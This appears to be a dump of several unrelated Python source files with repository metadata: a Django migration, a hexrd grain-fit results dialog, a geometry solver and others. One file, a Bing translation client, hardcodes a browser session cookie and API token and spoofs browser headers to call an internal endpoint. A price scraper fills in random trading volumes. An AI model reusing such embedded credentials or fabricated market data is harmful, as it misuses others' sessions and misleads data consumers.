zmq_info_addr = zmq_info_addr or args.zmq_subscribe_addr
zmq_info_addr = zmq_info_addr or os.environ.get("QSERVER_ZMQ_INFO_ADDRESS", None)
zmq_info_addr = zmq_info_addr or default_zmq_info_address
try:
rco = ReceiveConsoleOutput(zmq_subscribe_addr=zmq_info_addr)
rco.subscribe()
while True:
try:
payload = rco.recv()
time, msg = payload.get("time", None), payload.get("msg", None) # noqa: F841
sys.stdout.write(msg)
sys.stdout.flush()
except TimeoutError:
# Timeout does not mean communication error!!!
# There is no need to use or process timeouts. This code
# serves mostly as an example of how to use it.
pass
# Place for the code that should be executed after receiving each
# message or after timeout. (E.g. the code may check some condition
# and exit the loop once the condition is fulfilled.)
exit_code = 0 # The code is set if the loope is exited (which does not happen here)
except BaseException as ex:
logger.exception("Queue Server Console Monitor failed with exception: %s", str(ex))
exit_code = 1
return exit_code
| [
"gavrilov.dvs@gmail.com"
] | gavrilov.dvs@gmail.com |
bcc103fb0e9bedbb72374884aa73dcdff5e9060d | 61446aa311cdb0169d96b2aedc6a773396a350b7 | /movie/migrations/0001_initial.py | 1d4fcbc9cb377d56da08b00a57179a7952dccba9 | [] | no_license | SahilDefault/imdb-clone | 7ed71dfa0910852b8a42f0f3a3c9b611db952632 | 813083c5089bbb37734e3d1791fbd043249a69b9 | refs/heads/master | 2023-02-08T01:33:27.681939 | 2020-12-29T19:47:43 | 2020-12-29T19:47:43 | 325,373,023 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,135 | py | # Generated by Django 3.1.4 on 2020-12-28 15:38
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Movie',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=100)),
('description', models.CharField(max_length=1000)),
('image', models.ImageField(upload_to='movies')),
('category', models.CharField(choices=[('A', 'ACTION'), ('D', 'DRAMA'), ('C', 'COMEDY'), ('R', 'ROMANACE')], max_length=1)),
('language', models.CharField(choices=[('EN', 'ENGLISH'), ('GN', 'GERMAN')], max_length=2)),
('status', models.CharField(choices=[('RA', 'RECENTLY ADDED'), ('MW', 'MOST WATCHED'), ('TR', 'TOP RATED')], max_length=2)),
('year_od_production', models.DateField()),
('view_count', models.IntegerField(default=0)),
],
),
]
| [
"sahil@getdefault.in"
] | sahil@getdefault.in |
489406a9a8c5f22165f5444d88ed93ed4aae4208 | 5e4f4fa25a243504da44660ef35f9a81a0e80c8c | /src/Common/BingTrans.py | f99415eb7b9c9f2ed7b34f316103ba793183af0f | [] | no_license | JalonJia/NormingWork | dc7a676e36d1f0adad0015475960a562f138e6f8 | 45065fd844e92d1e9c0c61dbf7a13cc3a9392803 | refs/heads/master | 2022-04-27T06:47:12.382995 | 2022-04-24T07:57:31 | 2022-04-24T07:57:31 | 147,275,556 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,025 | py | import json
import urllib.request
import urllib.parse
import os
import requests
import time
import re
'''
LANGUAGES = {
'zh-CN': 'chinese_simplified',
'zh-TW': 'chinese_traditional',
'en': 'english',
'fr': 'french',
'es': 'spanish',
}
'''
class BingTrans:
def __init__(self):
#, token = 'G3ZWjaCMlRWpU3XmNbsqgO_orFU_t3cA', key = '1642568801733', ig = 'F2755F0C030D4B10B4CA4F719EF5C5FB', start_IID = 3):
#获取ig，后来发现ig要跟token和key配合使用才行
# header = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'}
# response = requests.get('https://cn.bing.com/translator/', headers=header)
# ig = re.search(',IG:"(.*?)",', response.text).group(1)
self.token = 'fS6i_FtrWOblPQtWtyJU5oM_7rHFoDPK'
self.key = '1642586407010'
agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36'
ig = '318F6D3CD85F487FA2A4E56D1D6B7DEC'
start_IID = 7
#请求地址
self.url = 'https://cn.bing.com/ttranslatev3?isVertical=1&&IG=%s&IID=translator.5023.%d' % (ig, start_IID)
#伪装成的浏览器信息, 必须加cookie才能提高稳定性和成功率
self.headers = {
'User-Agent':'%s' % agent,
'referer':'https://cn.bing.com/translator',
'origin': 'https://cn.bing.com',
'cookie': 'SUID=M; MUID=0817E7C7DFA06F992C9EF6F6DEEA6E16; MUIDB=0817E7C7DFA06F992C9EF6F6DEEA6E16; _EDGE_V=1; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=D879E98907D049798EC9D94DEB32AC94&dmnchg=1; btstkn=qZNE6G20%2FIZtTJ8NvEro31NUixCVgDOEPV773IoeDTkDDmG5%2FevAEicckt%2Fl2RfErrmq8b70%2B3j0AWkzenBJhOkPpzEWdTmZO%2BcoZquZVs8%3D; _TTSS_OUT=hist=WyJlbiIsImFmIiwiZnIiXQ==; _tarLang=default=fr; _EDGE_S=SID=3FE8DE64CC50687F0A55CF55CD366977; _SS=SID=3FE8DE64CC50687F0A55CF55CD366977; SRCHUSR=DOB=20220119&T=1642586407000&TPC=1642578783000; SRCHHPGUSR=SRCHLANG=zh-Hans&HV=1642586407&WTS=63778183207; ipv6=hit=1642590007798&t=4; SNRHOP=I=&TS=; _TTSS_IN=hist=WyJmciIsImFmIiwiZW4iLCJhdXRvLWRldGVjdCJd',
}
def translate(self, text, fromlang='en', tolang='fr'):
#设置请求参数
self.fromlang = fromlang
self.tolang = tolang
post_data={'fromlang':'%s' % self.fromlang, 'text':'%s' % text, 'to':'%s' % self.tolang, 'token':'%s' % self.token, 'key':'%s' % self.key} #
data = {}
while isinstance(data, dict): #翻译失败之后，返回字典，成功返回json
result = requests.post(self.url, headers = self.headers, data=post_data).content.decode() #发出请求并将请求数据转换为str格式
data = json.loads(result) #将字符串转化为Python的列表和字典
time.sleep(0.1)
translate_to = data[0]['translations'][0]['text'] #从转化的数据中获取翻译文本
if tolang == 'fr':
translate_to = translate_to.replace(' »', '"')
translate_to = translate_to.replace(' »', '"')
translate_to = translate_to.replace('« ', '"')
translate_to = translate_to.replace('« ', '"')
translate_to = translate_to.replace('LANG_ENGLISH LINGUISTIQUE, SUBLANG_ENGLISH_US', 'LANGUAGE LANG_FRENCH, SUBLANG_FRENCH')
translate_to = translate_to.replace('LANG_CHINESE DE LANGUE, 0x2', 'LANGUAGE LANG_FRENCH, SUBLANG_FRENCH')
#translate_to = translate_to.replace('".\n', '."\n')
print('translate from: %s to: %s' % (text, translate_to))
return translate_to
#翻译一个文件
def translateOneFile(self, fromlang='en', tolang='fr', s_fromfile='', s_tofile='', encode_from = 'utf-8', encode_to = 'utf-8'):
if os.path.exists(s_tofile): #已经创建过的旧不再创建了
return
print('Traslate: %s to: %s' % (s_fromfile, s_tofile))
s_lines = []
with open(s_fromfile, 'r', encoding=encode_from, errors='ignore' ) as f:
s_lines = f.readlines()
s_to_trans = ''
with open(s_tofile, 'w', encoding=encode_to, errors='ignore' ) as f:
for s_line in s_lines:
s_text = str(s_line)
if len(s_to_trans) + len(s_text) >= 800:
s_text_to = self.translate(s_to_trans, fromlang, tolang)
f.write(s_text_to)
s_to_trans = s_text
else:
s_to_trans += s_text
if len(s_to_trans) > 0: #最后剩余的部分
s_text_to = self.translate(s_to_trans, fromlang, tolang)
f.write(s_text_to)
#Testing
if __name__ == '__main__' :
translate = BingTrans()
result = translate.translate('I have a book', 'en', 'fr')
print(result)
| [
"jalon.jia@norming.com.cn"
] | jalon.jia@norming.com.cn |
2c161ca9efa8d4b256b9cbf48c804dc8659b5b10 | 1086ef8bcd54d4417175a4a77e5d63b53a47c8cf | /Forks/uvapy-master/geometry/p10005.py | 22919427968cb78efca83f85a7629ab024461bf1 | [
"MIT"
] | permissive | wisdomtohe/CompetitiveProgramming | b883da6380f56af0c2625318deed3529cb0838f6 | a20bfea8a2fd539382a100d843fb91126ab5ad34 | refs/heads/master | 2022-12-18T17:33:48.399350 | 2020-09-25T02:24:41 | 2020-09-25T02:24:41 | 298,446,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,600 | py | from math import isclose
class Circle:
def __init__(self, **kwargs):
if "p1" in kwargs and "p2" in kwargs and "p3" in kwargs:
self.from_three_points(kwargs["p1"], kwargs["p2"], kwargs["p3"])
# elif "c" in kwargs and "r" in kwargs:
# self.from_center_radius(kwargs["c"], kwargs["r"])
else:
raise ValueError("Unknown constructor called: {}".format(kwargs.keys()))
def from_three_points(self, p1, p2, p3):
if isclose(p1.x, p2.x):
p3, p1= p1, p3
mr = (p2.y-p1.y) / (p2.x-p1.x)
if isclose(p2.x, p3.x):
p1, p2= p2, p1
mt = (p3.y-p2.y) / (p3.x-p2.x)
if isclose(mr, mt):
raise ValueError("No such circle exists.")
x = (mr*mt*(p3.y-p1.y) + mr*(p2.x+p3.x) - mt*(p1.x+p2.x)) / (2*(mr-mt))
y = (p1.y+p2.y)/2 - (x - (p1.x+p2.x)/2) / mr
radius = pow((pow((p2.x-x), 2) + pow((p2.y-y), 2)), 0.5)
self.c = (x, y)
self.r = radius
while True:
n = int(input())
if n == 0:
break
points = []
for i in range(n):
p = tuple(map(int, input().split()))
points.append(p)
r = float(input())
if n == 1:
# Always feasible to embed a point in a circle (r == 0?)
print("The polygon can be packed in the circle.")
elif n == 2:
dist_l2 = (points[1][0] - points[0][0]) ** 2 + (points[1][1] - points[0][1])**2
if dist_l2 <= (r+r)**2:
print("The polygon can be packed in the circle.")
else:
print("There is no way of packing that polygon.")
else:
# Find a circle that passes through first three points
c = Circle(p1 = points[0], p2 = points[1], p3 = points[2]) | [
"elmanciowisdom@gmail.com"
] | elmanciowisdom@gmail.com |
5ed9be6c22b98812d7d3a0b3686c04034ff41090 | eac7080bf3a627fb1c62952d2ccad56c6a3d8b32 | /lll/data/qihuo_eur_kc/mjt_ali_http_lll.py | 13529952cf5430b5cce947838282e18077cfac4e | [] | no_license | LIlei4836/mainlandServer | 23339207d1807c3bbc48573db730f56e7c3589d2 | 18bbf5666b99b90860a327c56e72fd7e1b19fb43 | refs/heads/master | 2022-11-25T00:52:55.509113 | 2020-07-31T09:14:05 | 2020-07-31T09:14:05 | 283,992,392 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,680 | py | #!/usr/bin/python3
#coding: utf-8
#对redis中所需要的 有序集合更新初始化，本脚本运行一次即可，
#coding=utf-8
from userAgents import get_html,get_html_bytes
import sys
import redis
import time
import pymysql
from multiprocessing import Pool
import warnings
import json
import random
import threading
r = redis.Redis(host='127.0.0.1', port=6379, decode_responses=True)
def getname(symbol,currsname):
B = {'1':'1min','5':'5min','15':'15min','30':'30min','60':'60min','D':'1day','W':'1week','M':'1mon'}
# B = {'60':'60min'}
# B = {'1':'1min'}
for resolution in B:
t1 = threading.Thread(target=getdata, args=(resolution,symbol,currsname,B.get(resolution)))
t1.start()
t1.join()
def getdata(resolution,symbol,currsname,time_name):
reso={'1':[60*1*500,40,10],'5':[60*5*500,200,50],'15':[15*60*500,600,150],'30':[30*60*500,1200,300],'60':[60*60*500,2400,600],
'D':[60*60*24*500,57600,14400],'W':[60*60*24*7*300,403200,100800],'M':[60*60*24*30*150,1728000,432000]}
# reso = {'1':[60*1*500,40,10]}
#不同时间段 from的时间要不同，从上面的字典中设置
time_len=int(reso.get(resolution)[0])
a = int(reso.get(resolution)[1])
b = int(reso.get(resolution)[2])
time_stamp = int(time.time())
url = "http://tvc4.forexpros.com/2b3e7c8c1966d9488b9b637c11017675/" \
+ str(time_stamp) + "/6/6/28/history?symbol=" + str(symbol) + "&resolution" \
"=" + str(resolution) + "&from=" + str(
time_stamp - time_len) + "&to=" + str(time_stamp)
result = get_html_bytes(url)
if result:
try:
result = str(result, encoding='utf-8')
except Exception as e:
print(url)
print(result)
print(currsname, time_name, 'baocuo')
# 转化成dict
result = eval(result)
# 当停盘时候不更新数据
if 'nextTime' in result.keys():
# print('停盘中！')
pass
else:
qihuo_dict = {}
qihuo_list = []
for i in range(len(result['t'])):
res = {}
res['id'] = result['t'][i]
res['high'] = result['h'][i]
res['open'] = result['o'][i]
res['low'] = result['l'][i]
res['close'] = result['c'][i]
res['vol'] = random.random() * b + a
qihuo_list.append(res)
qihuo_dict['data'] = qihuo_list[::-1]
result = json.dumps(qihuo_dict)
if len(result) > 40:
res = json.loads(result)
for data in res['data']:
# 删除指定 分数 区间内的所有成员
r.zremrangebyscore("market:" + currsname + ":" + time_name + ":redisSortset3.2.12", data['id'],
data['id'])
r.zadd("market:" + currsname + ":" + time_name + ":redisSortset3.2.12",
{json.dumps(data): data['id']})
# 删除分数值最小的前10个，避免有垃圾数据（根据分数排名删除）
r.zremrangebyrank("market:" + currsname + ":" + time_name + ":redisSortset3.2.12", 0, 10)
print(currsname, time_name, 'ok')
if __name__ == '__main__':
A = {'8831': 'mjtusdt', '49768': 'aliusdt','2124':'usdeur','54':'gbpcad','1896':'jpygbp'}
p = Pool(len(A))
for symbol in A:
p.apply_async(getname, args=(symbol,A.get(symbol),))
print('进程' + symbol + '启动成功！')
p.close()
p.join()
| [
"1204828314@qq.com"
] | 1204828314@qq.com |
9af1edc359cc63d66c1da8e1c8fabe5111076e77 | bcbaf879e97258974a4f0082e249721e2757c991 | /gis_1/urls.py | b53d7dd2f006d91920b01cef8ef876203654abd2 | [] | no_license | gyullo18/gis_1ban | c6dfe6b20ae94baf54aec1148e1483056214dc45 | 3532f44ee553ae042addb7f5ded8d0287f30edb6 | refs/heads/master | 2023-08-23T18:08:50.386674 | 2021-10-06T00:29:49 | 2021-10-06T00:29:49 | 381,923,459 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,575 | py | """gis_1 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.conf import settings
from django.conf.urls.static import static
from django.contrib import admin
from django.urls import path, include
from articleapp.views import ArticleListView
urlpatterns = [
# 8/26 메인 페이지 설정
path('', ArticleListView.as_view(), name='home'),
path('admin/', admin.site.urls),
path('accounts/', include('accountapp.urls')),
path('profiles/', include('profileapp.urls')),
path('articles/', include('articleapp.urls')),
#8/5 댓글 구현 url
path('comments/', include('commentapp.urls')),
#8/12 게시판 구현 url -- projectapp에 urls만들기
path('projects/', include('projectapp.urls')),
#8/19 구독 앱 url
path('subscribe/', include('subscribeapp.urls')),
#8/23 좋아요 앱 url
path('likes/', include('likeapp.urls'))
]+ static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT) #미디어 루트에서 스태틱 추가 7/26
| [
"gold798@naver.com"
] | gold798@naver.com |
1336aaa3cf00acaea477d1715361e818158c5ce9 | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /TAhuay457cw5AekBe_5.py | 91d14e284af645ac11d85fa441299abdbfccac66 | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 341 | py |
from re import sub
vowels = {"a", "e", "i", "o", "u", "A", "E", "I", "O", "U"}
def monkey_talk(txt):
return "{}.".format(sub(r"^[eo]", lambda m: m.group().upper(),
sub(r"[A-Za-z]+",
lambda m: "eek" if m.group()[0] in vowels
else "ook", txt)))
| [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
81bb1b7982240f5aa60261ffdc693d098a960df8 | c1ca874a9a7cde202af099a063bf1041813c811d | /wa_profile/add_dates.smk | bc15c1f763ee7016e5fd07563d8b36be2782f86c | [
"MIT"
] | permissive | vmallett/ncov-wa-build | 580988297c9a1b4751349d6e34612f6c978a3839 | a8d331e20cdf04762b6f1f9c8ae3423899990cb9 | refs/heads/master | 2023-02-18T08:05:05.272215 | 2021-01-15T19:24:41 | 2021-01-15T19:24:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 516 | smk | from dateutil import relativedelta
# Calculate dates
d = date.today()
four_m = d - relativedelta.relativedelta(months=4)
one_y = d - relativedelta.relativedelta(years=1)
# Set earliest_date & latest_date in builds
if "wa_4m" in config["builds"]:
config["builds"]["wa_4m"]["latest_date"] = d.strftime('%Y-%m-%d')
config["builds"]["wa_4m"]["earliest_date"]= four_m.strftime('%Y-%m-%d')
if "wa_1y" in config["builds"]:
config["builds"]["wa_1y"]["earliest_date"]= one_y.strftime('%Y-%m-%d')
| [
"cassia.wagner9@gmail.com"
] | cassia.wagner9@gmail.com |
3be3d731a1b5a62adfff4cc8c15510b9ea59fa00 | c0813e81f4fd5d449e405f29bd03270dd99c27a5 | /app/api/posts.py | 9f6716c1c3f14f6d500fe258188448a3b4614ac5 | [] | no_license | MuhonenN/DogDate | 95a4097d74cdf440967de2f9178da56aa4ccc6b5 | d645d3cbc185dcc0cfebf4de3fe3986432aaebc6 | refs/heads/main | 2023-02-20T05:30:02.856166 | 2021-01-20T11:08:11 | 2021-01-20T11:08:11 | 331,281,093 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,620 | py | from flask import jsonify, request, g, url_for, current_app
from .. import db
from ..models import Post, Permission
from . import api
from .decorators import permission_required
from .errors import forbidden
@api.route('/posts/')
def get_posts():
page = request.args.get('page', 1, type=int)
pagination = Post.query.paginate(
page, per_page=current_app.config['FLASK_POSTS_PER_PAGE'], error_out=False)
posts = pagination.items
prev = None
if pagination.has_prev:
prev = url_for('api.get_posts', page=page-1)
next = None
if pagination.has_next:
next = url_for('api.get_posts', page=page+1)
return jsonify({'posts': [post.to_json() for post in posts], 'prev_url': prev, 'next_url': next, 'count': pagination.total})
@api.route('/posts/<int:id>')
def get_post(id):
post = Post.query.get_or_404(id)
return jsonify(post.to_json())
@api.route('/posts/', methods=['POST'])
@permission_required(Permission.WRITE)
def new_post():
post = Post.from_json(request.json)
post.author = g.current_user
db.session.add(post)
db.session.commit()
return jsonify(post.to_json()), 201, {'Location': url_for('api.get_post', id=post.id)}
@api.route('/posts/<int:id>', methods=['PUT'])
@permission_required(Permission.WRITE)
def edit_post(id):
post = Post.query.get_or_404(id)
if g.current_user != post.author and not g.current_user.can(Permission.ADMIN):
return forbidden('Insufficient permissions')
post.body = request.json.get('body', post.body)
db.session.add(post)
db.session.commit()
return jsonify(post.to_json())
| [
"miuhonen@gmail.com"
] | miuhonen@gmail.com |
0e5e79f92ca6598427b707d839fd8accdd4365b9 | a2238429ea0e84e30441e7bf7319cd9810d0eb22 | /posts/migrations/0007_auto_20210215_1643.py | 5f58a3570504936e430458803d87ce3d2c53cab6 | [] | no_license | praveenvino39/instagram_clone | f00a33d21eb75fa692468ce1c158d25bbd457b9c | b3316751a0ce419c2f88153b5e99096976c317c5 | refs/heads/main | 2023-08-23T15:23:12.500964 | 2021-10-15T20:10:13 | 2021-10-15T20:10:13 | 339,464,615 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 384 | py | # Generated by Django 3.1.6 on 2021-02-15 16:43
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('posts', '0006_auto_20210215_1641'),
]
operations = [
migrations.AlterField(
model_name='post',
name='date',
field=models.DateField(auto_now_add=True),
),
]
| [
"praveena4e@gmail.com"
] | praveena4e@gmail.com |
76472d83546041dc98d637cb90fa96479c7dc6d1 | 427c453032b53df02fdace038becfda396dc64a7 | /hexrd/ui/indexing/fit_grains_results_dialog.py | ca461a4cd5a40420d1d028f6601aadc9376899c3 | [
"BSD-3-Clause"
] | permissive | ap439111/hexrdgui | 60d4af28f96925d742444885c82736fc7780fca3 | a70f2d880697ff8dc17d3d7e65636a7184c6700f | refs/heads/master | 2023-01-03T23:13:22.908836 | 2020-10-30T18:00:43 | 2020-10-30T18:00:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,842 | py | from functools import partial
import os
import sys
import numpy as np
from mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import
import matplotlib
import matplotlib.ticker as ticker
from matplotlib.backends.backend_qt5agg import FigureCanvas
from matplotlib.figure import Figure
from PySide2.QtCore import (
QObject, QSignalBlocker, QSortFilterProxyModel, Qt, Signal
)
from PySide2.QtWidgets import QFileDialog, QMenu, QSizePolicy
import hexrd.ui.constants
from hexrd.ui.hexrd_config import HexrdConfig
from hexrd.matrixutil import vecMVToSymm
from hexrd.ui.indexing.fit_grains_results_model import FitGrainsResultsModel
from hexrd.ui.navigation_toolbar import NavigationToolbar
from hexrd.ui.ui_loader import UiLoader
class FitGrainsResultsDialog(QObject):
finished = Signal()
def __init__(self, data, parent=None):
super(FitGrainsResultsDialog, self).__init__()
self.ax = None
self.cmap = hexrd.ui.constants.DEFAULT_CMAP
self.data = data
self.data_model = FitGrainsResultsModel(data)
self.canvas = None
self.fig = None
self.scatter_artist = None
self.colorbar = None
loader = UiLoader()
self.ui = loader.load_file('fit_grains_results_dialog.ui', parent)
flags = self.ui.windowFlags()
self.ui.setWindowFlags(flags | Qt.Tool)
self.ui.splitter.setStretchFactor(0, 1)
self.ui.splitter.setStretchFactor(1, 10)
self.setup_tableview()
# Add column for equivalent strain
ngrains = self.data.shape[0]
eqv_strain = np.zeros(ngrains)
for i in range(ngrains):
emat = vecMVToSymm(self.data[i, 15:21], scale=False)
eqv_strain[i] = 2.*np.sqrt(np.sum(emat*emat))/3.
np.append(self.data, eqv_strain)
self.setup_gui()
def setup_gui(self):
self.setup_selectors()
self.setup_plot()
self.setup_toolbar()
self.setup_view_direction_options()
self.setup_connections()
self.on_colorby_changed()
self.backup_ranges()
self.update_ranges_gui()
def clear_artists(self):
# Colorbar must be removed before the scatter artist
if self.colorbar is not None:
self.colorbar.remove()
self.colorbar = None
if self.scatter_artist is not None:
self.scatter_artist.remove()
self.scatter_artist = None
def on_colorby_changed(self):
column = self.ui.plot_color_option.currentData()
colors = self.data[:, column]
xs = self.data[:, 6]
ys = self.data[:, 7]
zs = self.data[:, 8]
sz = matplotlib.rcParams['lines.markersize'] ** 3
# I could not find a way to update scatter plot marker colors and
# the colorbar mappable. So we must re-draw both from scratch...
self.clear_artists()
self.scatter_artist = self.ax.scatter3D(
xs, ys, zs, c=colors, cmap=self.cmap, s=sz)
self.colorbar = self.fig.colorbar(self.scatter_artist, shrink=0.8)
self.draw()
def on_export_button_pressed(self):
selected_file, selected_filter = QFileDialog.getSaveFileName(
self.ui, 'Export Fit-Grains Results', HexrdConfig().working_dir,
'Output files (*.out)|All files(*.*)')
if selected_file:
HexrdConfig().working_dir = os.path.dirname(selected_file)
name, ext = os.path.splitext(selected_file)
if not ext:
selected_file += '.out'
self.data_model.save(selected_file)
def on_sort_indicator_changed(self, index, order):
"""Shows sort indicator for columns 0-2, hides for all others."""
if index < 3:
self.ui.table_view.horizontalHeader().setSortIndicatorShown(True)
self.ui.table_view.horizontalHeader().setSortIndicator(
index, order)
else:
self.ui.table_view.horizontalHeader().setSortIndicatorShown(False)
@property
def projection(self):
name_map = {
'Perspective': 'persp',
'Orthographic': 'ortho'
}
return name_map[self.ui.projection.currentText()]
def projection_changed(self):
self.ax.set_proj_type(self.projection)
self.draw()
def setup_connections(self):
self.ui.export_button.clicked.connect(self.on_export_button_pressed)
self.ui.projection.currentIndexChanged.connect(self.projection_changed)
self.ui.plot_color_option.currentIndexChanged.connect(
self.on_colorby_changed)
self.ui.hide_axes.toggled.connect(self.update_axis_visibility)
self.ui.finished.connect(self.finished)
for name in ('x', 'y', 'z'):
action = getattr(self, f'set_view_{name}')
action.triggered.connect(partial(self.reset_view, name))
for w in self.range_widgets:
w.valueChanged.connect(self.update_ranges_mpl)
w.valueChanged.connect(self.update_range_constraints)
self.ui.reset_ranges.pressed.connect(self.reset_ranges)
def setup_plot(self):
# Create the figure and axes to use
canvas = FigureCanvas(Figure(tight_layout=True))
# Get the canvas to take up the majority of the screen most of the time
canvas.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
fig = canvas.figure
ax = fig.add_subplot(111, projection='3d', proj_type=self.projection)
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.set_zlabel('Z')
self.ui.canvas_layout.addWidget(canvas)
self.fig = fig
self.ax = ax
self.canvas = canvas
def setup_toolbar(self):
# These don't work for 3D plots
# "None" removes the separators
button_blacklist = [
None,
'Pan',
'Zoom',
'Subplots',
'Customize'
]
self.toolbar = NavigationToolbar(self.canvas, self.ui, False,
button_blacklist)
self.ui.toolbar_layout.addWidget(self.toolbar)
self.ui.toolbar_layout.setAlignment(self.toolbar, Qt.AlignCenter)
# Make sure our ranges editor gets updated any time matplotlib
# might have modified the ranges underneath.
self.toolbar.after_home_callback = self.update_ranges_gui
self.toolbar.after_back_callback = self.update_ranges_gui
self.toolbar.after_forward_callback = self.update_ranges_gui
def setup_view_direction_options(self):
b = self.ui.set_view_direction
m = QMenu(b)
self.set_view_direction_menu = m
self.set_view_z = m.addAction('XY')
self.set_view_y = m.addAction('XZ')
self.set_view_x = m.addAction('YZ')
b.setMenu(m)
def reset_view(self, direction):
# The adjustment is to force the tick markers and label to
# appear on one side.
adjust = 1.e-5
angles_map = {
'x': (0, 0),
'y': (0, 90 - adjust),
'z': (90 - adjust, -90 - adjust)
}
self.ax.view_init(*angles_map[direction])
# Temporarily hide the labels of the axis perpendicular to the
# screen for easier viewing.
if self.axes_visible:
self.hide_axis(direction)
self.draw()
# As soon as the image is re-drawn, the perpendicular axis will
# be visible again.
if self.axes_visible:
self.show_axis(direction)
def set_axis_visible(self, name, visible):
ax = getattr(self.ax, f'{name}axis')
set_label_func = getattr(self.ax, f'set_{name}label')
if visible:
ax.set_major_locator(ticker.AutoLocator())
set_label_func(name.upper())
else:
ax.set_ticks([])
set_label_func('')
def hide_axis(self, name):
self.set_axis_visible(name, False)
def show_axis(self, name):
self.set_axis_visible(name, True)
@property
def axes_visible(self):
return not self.ui.hide_axes.isChecked()
def update_axis_visibility(self):
for name in ('x', 'y', 'z'):
self.set_axis_visible(name, self.axes_visible)
self.draw()
def setup_selectors(self):
# Build combo boxes in code to assign columns in grains data
blocker = QSignalBlocker(self.ui.plot_color_option) # noqa: F841
self.ui.plot_color_option.clear()
self.ui.plot_color_option.addItem('Completeness', 1)
self.ui.plot_color_option.addItem('Goodness of Fit', 2)
self.ui.plot_color_option.addItem('Equivalent Strain', -1)
self.ui.plot_color_option.addItem('XX Strain', 15)
self.ui.plot_color_option.addItem('YY Strain', 16)
self.ui.plot_color_option.addItem('ZZ Strain', 17)
self.ui.plot_color_option.addItem('YZ Strain', 18)
self.ui.plot_color_option.addItem('XZ Strain', 19)
self.ui.plot_color_option.addItem('XY Strain', 20)
index = self.ui.plot_color_option.findData(-1)
self.ui.plot_color_option.setCurrentIndex(index)
def setup_tableview(self):
view = self.ui.table_view
# Subclass QSortFilterProxyModel to restrict sorting by column
class GrainsTableSorter(QSortFilterProxyModel):
def sort(self, column, order):
if column > 2:
return
else:
super().sort(column, order)
proxy_model = GrainsTableSorter(self.ui)
proxy_model.setSourceModel(self.data_model)
view.verticalHeader().hide()
view.setModel(proxy_model)
view.resizeColumnToContents(0)
view.setSortingEnabled(True)
view.horizontalHeader().sortIndicatorChanged.connect(
self.on_sort_indicator_changed)
view.sortByColumn(0, Qt.AscendingOrder)
self.ui.table_view.horizontalHeader().setSortIndicatorShown(False)
def show(self):
self.ui.show()
@property
def range_widgets(self):
widgets = []
for name in ('x', 'y', 'z'):
for i in range(2):
widgets.append(getattr(self.ui, f'range_{name}_{i}'))
return widgets
@property
def ranges_gui(self):
return [w.value() for w in self.range_widgets]
@ranges_gui.setter
def ranges_gui(self, v):
self.remove_range_constraints()
for x, w in zip(v, self.range_widgets):
w.setValue(round(x, 5))
self.update_range_constraints()
@property
def ranges_mpl(self):
vals = []
for name in ('x', 'y', 'z'):
lims_func = getattr(self.ax, f'get_{name}lim')
vals.extend(lims_func())
return vals
@ranges_mpl.setter
def ranges_mpl(self, v):
for i, name in enumerate(('x', 'y', 'z')):
lims = (v[i * 2], v[i * 2 + 1])
set_func = getattr(self.ax, f'set_{name}lim')
set_func(*lims)
# Update the navigation stack so the home/back/forward
# buttons will know about the range change.
self.toolbar.push_current()
self.draw()
def update_ranges_mpl(self):
self.ranges_mpl = self.ranges_gui
def update_ranges_gui(self):
blocked = [QSignalBlocker(w) for w in self.range_widgets] # noqa: F841
self.ranges_gui = self.ranges_mpl
def backup_ranges(self):
self._ranges_backup = self.ranges_mpl
def reset_ranges(self):
self.ranges_mpl = self._ranges_backup
self.update_ranges_gui()
def remove_range_constraints(self):
widgets = self.range_widgets
for w1, w2 in zip(widgets[0::2], widgets[1::2]):
w1.setMaximum(sys.float_info.max)
w2.setMinimum(sys.float_info.min)
def update_range_constraints(self):
widgets = self.range_widgets
for w1, w2 in zip(widgets[0::2], widgets[1::2]):
w1.setMaximum(w2.value())
w2.setMinimum(w1.value())
def draw(self):
self.canvas.draw()
if __name__ == '__main__':
from PySide2.QtCore import QCoreApplication
from PySide2.QtWidgets import QApplication
# User specifies grains.out file
if (len(sys.argv) < 2):
print()
print('Load grains.out file and display as table')
print('Usage: python fit_grains_resuls_model.py <path-to-grains.out>')
print()
sys.exit(-1)
# print(sys.argv)
